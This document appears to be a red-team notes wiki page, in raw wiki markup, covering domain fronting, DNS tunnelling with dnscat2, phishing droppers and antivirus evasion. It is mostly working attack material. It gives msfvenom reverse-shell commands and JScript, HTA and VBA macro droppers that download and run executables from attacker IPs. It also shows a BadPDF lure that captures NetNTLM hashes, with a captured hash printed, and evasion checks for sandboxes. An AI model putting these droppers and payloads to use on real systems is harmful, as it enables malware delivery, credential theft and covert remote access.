&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.&lt;br /&gt;
&lt;br /&gt;
AV bypass can be tedious and some of these tools might help.&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BallisKit - MacroPack ===&lt;br /&gt;
&lt;br /&gt;
[https://www.balliskit.com/ BallisKit]&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.&lt;br /&gt;
&lt;br /&gt;
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
The free version of MacroPack is available here, though it won&#039;t be as good as bypassing AV.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/sevagas/macro_pack&lt;br /&gt;
# Must be installed from Windows machine&lt;br /&gt;
# Some example commands from github. All other commands are available on Github&lt;br /&gt;
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba&lt;br /&gt;
# List all supported file formats&lt;br /&gt;
macro_pack.exe --listformats&lt;br /&gt;
# List all available templates&lt;br /&gt;
macro_pack.exe --listtemplates&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mgeeky&#039;s tools ====&lt;br /&gt;
&lt;br /&gt;
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sponsors/mgeeky Sponsor @mgeeky on GitHub Sponsors]&lt;br /&gt;
&lt;br /&gt;
[https://binary-offensive.com/software binary-offensive | Offensive IT Security]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Some of my private repositories shared with my Sponsors include:&lt;br /&gt;
MSISnatcher - MSI backdooring companion&lt;br /&gt;
Polonium - AV/EDR benchmarking tool, advanced shellcode loader&lt;br /&gt;
Bloated-EXE-in-LNK&lt;br /&gt;
SharpPRT - PRT extraction helper&lt;br /&gt;
cobalt-initial-opsec - headless agressor script&lt;br /&gt;
BOF.NET - (my fork) stealthily run .NET assemblies in-process&lt;br /&gt;
Carbuncle - (my fork) All you ever wanted from Outlook during RT&lt;br /&gt;
azure-functions-redirector&lt;br /&gt;
digitalocean-app-redirector&lt;br /&gt;
MyStayKit&lt;br /&gt;
Anonymize_CS_Logs&lt;br /&gt;
mgeeky-gists&lt;br /&gt;
and more..&lt;br /&gt;
